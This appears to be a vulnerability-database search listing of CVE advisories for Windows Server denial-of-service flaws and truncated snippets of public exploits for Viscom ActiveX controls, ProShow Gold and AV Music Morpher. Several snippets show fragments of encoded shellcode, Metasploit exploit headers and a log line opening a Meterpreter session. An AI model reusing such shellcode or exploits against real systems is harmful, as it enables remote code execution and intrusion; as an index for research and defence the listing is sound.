PT-2010-4258

Name of the Vulnerable Software and Affected Versions Microsoft Windows Server 2003 SP2 Microsoft Windows Server 2008 Gold, SP2, and R2 Description The issue concerns a denial of service NULL pointer dereference and reboot in the Netlogon RPC Service when the domain controller role is enabled. Th...

CVE-2010-2742: Undefined Security Weakness

The Netlogon RPC Service in Microsoft Windows Server 2003 SP2 and Server 2008 Gold, SP2, and R2, when the domain controller role is enabled, allows remote attackers to cause a denial of service NULL pointer dereference and reboot via a crafted RPC packet, aka "Netlogon RPC Null dereference DOS...

PT-2010-5195

Name of the Vulnerable Software and Affected Versions Microsoft Windows Server 2008 Gold, SP2, and R2 Description The issue allows guest OS users to cause a denial of service, resulting in the host OS hanging, by sending a crafted encapsulated packet over the VMBus. Recommendations For Microsoft...

Viscom VideoEdit Gold ActiveX 8.0 Remote Code Execution Exploit

Exploit for windows platform in category local exploits =============================================================== Viscom VideoEdit Gold ActiveX 8.0 Remote Code Execution Exploit =============================================================== // Ctrl+C Ctrl+V, herpderp // calc.exe var...

Viscom VideoEdit Gold 8.0 Code Execution

// Ctrl+C Ctrl+V, herpderp // calc.exe var shellcode = unescape '%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+ '%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+ '%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+...

Viscom VideoEdit Gold ActiveX 8.0 - Code Execution

Viscom VideoEdit Gold ActiveX 8.0 - Code Execution // Ctrl+C Ctrl+V, herpderp // calc.exe var shellcode = unescape '%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+ '%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+...

Viscom VideoEdit Gold ActiveX 8.0 - Code Execution

// Ctrl+C Ctrl+V, herpderp // calc.exe var shellcode = unescape '%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+ '%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+ '%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+...

Image Viewer CP Gold 6 ActiveX TifMergeMultiFiles() Buffer Overflow

Exploit for windows platform in category remote exploits =================================================================== Image Viewer CP Gold 6 ActiveX TifMergeMultiFiles Buffer Overflow =================================================================== //payload is windows/exec cmd=calc.exe...

Image Viewer CP Gold 6 Buffer Overflow

//payload is windows/exec cmd=calc.exe shellcode = unescape '%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+ '%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+ '%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+...

Viscom Image Viewer CP Gold 6 - ActiveX TifMergeMultiFiles() Remote Buffer Overflow

Viscom Image Viewer CP Gold 6 - ActiveX TifMergeMultiFiles Remote Buffer Overflow //payload is windows/exec cmd=calc.exe shellcode = unescape '%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+ '%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+...

Viscom Image Viewer CP Gold 6 - ActiveX 'TifMergeMultiFiles()' Remote Buffer Overflow

//payload is windows/exec cmd=calc.exe shellcode = unescape '%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+ '%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+ '%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+...

Viscom Image Viewer CP Gold 5.5 - Image2PDF() Remote Buffer Overflow (Metasploit)

Viscom Image Viewer CP Gold 5.5 - Image2PDF Remote Buffer Overflow Metasploit Image Viewer CP gold v5.5 Buffer Overflow Found by: bz1p AT bshellz.net Impact: Low, NOT marked safe for scripting or initializing CVE: ? 0day msf exploitimageviewercpgold Sending exploit to 172.17.120.211:1061... Sendi...

Viscom Image Viewer CP Gold 5.5 - 'Image2PDF()' Remote Buffer Overflow (Metasploit)

Image Viewer CP gold v5.5 Buffer Overflow Found by: bz1p AT bshellz.net Impact: Low, NOT marked safe for scripting or initializing CVE: ? 0day msf exploitimageviewercpgold Sending exploit to 172.17.120.211:1061... Sending stage 749056 bytes to 172.17.120.211 Meterpreter session 1 opened...

CVE-2010-3229: Improper Input Validation

The Secure Channel aka SChannel security package in Microsoft Windows Vista SP1 and SP2, Windows Server 2008 Gold, SP2, and R2, and Windows 7, when IIS 7.x is used, does not properly process client certificates during SSL and TLS handshakes, which allows remote attackers to cause a denial of...

ProShow Gold 4.0.2549 - '.psh' Local Stack Buffer Overflow (Metasploit)

$Id: proshowcellimagebof.rb 10477 2010-09-25 11:59:02Z mc $ This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and terms of use...

AV Music Morpher Gold 5.0.38 Denial Of Service

!/usr/bin/python Exploit Title: AV Music Morpher Gold .m3u Local Crash PoC Date: 08-20-2010 Author: b0telh0 Software Link: http://www.musicmorpher.com/download.php?product=musicgold Version: 5.0.38 Tested on: Windows XP SP3 pt-br VirtualBox .acd and .bdi files will crash the application too! cras...

AV Music Morpher Gold 5.0.38 (.m3u) Denial of Service

Exploit for windows platform in category dos / poc ===================================================== AV Music Morpher Gold 5.0.38 .m3u Denial of Service ===================================================== !/usr/bin/python Exploit Title: AV Music Morpher Gold .m3u Local Crash PoC Date:...

AV Music Morpher Gold 5.0.38 - .m3u Denial of Service

AV Music Morpher Gold 5.0.38 - .m3u Denial of Service !/usr/bin/python Exploit Title: AV Music Morpher Gold .m3u Local Crash PoC Date: 08-20-2010 Author: b0telh0 Software Link: http://www.musicmorpher.com/download.php?product=musicgold Version: 5.0.38 Tested on: Windows XP SP3 pt-br VirtualBox .a...

AV Music Morpher Gold 5.0.38 - '.m3u' Denial of Service

!/usr/bin/python Exploit Title: AV Music Morpher Gold .m3u Local Crash PoC Date: 08-20-2010 Author: b0telh0 Software Link: http://www.musicmorpher.com/download.php?product=musicgold Version: 5.0.38 Tested on: Windows XP SP3 pt-br VirtualBox .acd and .bdi files will crash the application too! cras...

CVE-2010-2552: Undefined Security Weakness

Stack consumption vulnerability in the SMB Server in Microsoft Windows Vista SP1 and SP2, Windows Server 2008 Gold, SP2, and R2, and Windows 7 allows remote attackers to cause a denial of service system hang via a malformed SMBv2 compounded request, aka "SMB Stack Exhaustion Vulnerability."...